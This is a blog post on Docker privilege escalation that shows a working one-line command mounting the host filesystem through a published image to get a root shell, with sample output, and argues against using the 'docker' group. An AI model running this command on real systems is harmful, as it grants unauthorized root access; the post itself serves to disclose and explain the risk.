Privilege escalation via Docker
TLDR; Don’t use the ‘docker’ group
Docker, if you aren’t already familiar with it, is a lightweight runtime and packaging tool. It’s very similar to simply running a basic virtual machine, but with much less overhead. It’s extremely nice for deploying applications as you can guarantee that they will run in identical environments, and the commit-like image system is handy as well.
If you happen to have gotten access to a user-account on a machine, and that user is a member of the ‘docker’ group, running the following command will give you a root shell:
> docker run -v /:/hostOS -i -t chrisfosterelli/rootpleaseThis looks like the following when you run it:
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root
# The problem
When you’ve spent any amount of time with Docker, a common complaint is that all of the commands require sudo prefixing them. This is for a good reason. Many of the design decisions that Docker made inherently give significant power to any user who has access to the daemon.
Anyways, because the additional five characters was too much to type, a ‘docker’ group was introduced to the package. The Docker daemon will allow access to either the root user or any user in the ‘docker’ group. This means giving someone ‘docker’ group access is equivalent to giving them permanent, non-password-protected root access.
The solution
This is a hard fix for Docker. Because of many of the design decisions they’ve opted for, it would require significant code rewriting in order to allow non-root users to access the daemon without it being a security risk. My person advice is just simply not use the ‘docker’ group, ever. At the very least, this should be made more clear on the documentation for the ‘docker’ group. A newbie might not understand what ‘root-equivalent’ really means.
In Docker’s defense, they are aware that this is a security problem, although they apparently have no intention of actually fixing it. About half way down in their security document, they do explain that the ‘docker’ group is root-equivalent and why that is dangerous.
Exploit details
The command you run to perform the privilege escalation fetches my Docker image from the Docker Hub Registry and runs it. The -v parameter that you pass to Docker specifies that you want to create a volume in the Docker instance. The -i and -t parameters put Docker into ‘shell mode’ rather than starting a daemon process.
The instance is set up to mount the root filesystem of the host machine to the instance’s volume, so when the instance starts it immediately loads a chroot into that volume. This effectively gives you root on the machine.
There are many, many other ways to achieve this, but this was one of the most straightforward. You can find the code in the Github repo and the actual image on Docker Hub.
Got any questions? Tweet me.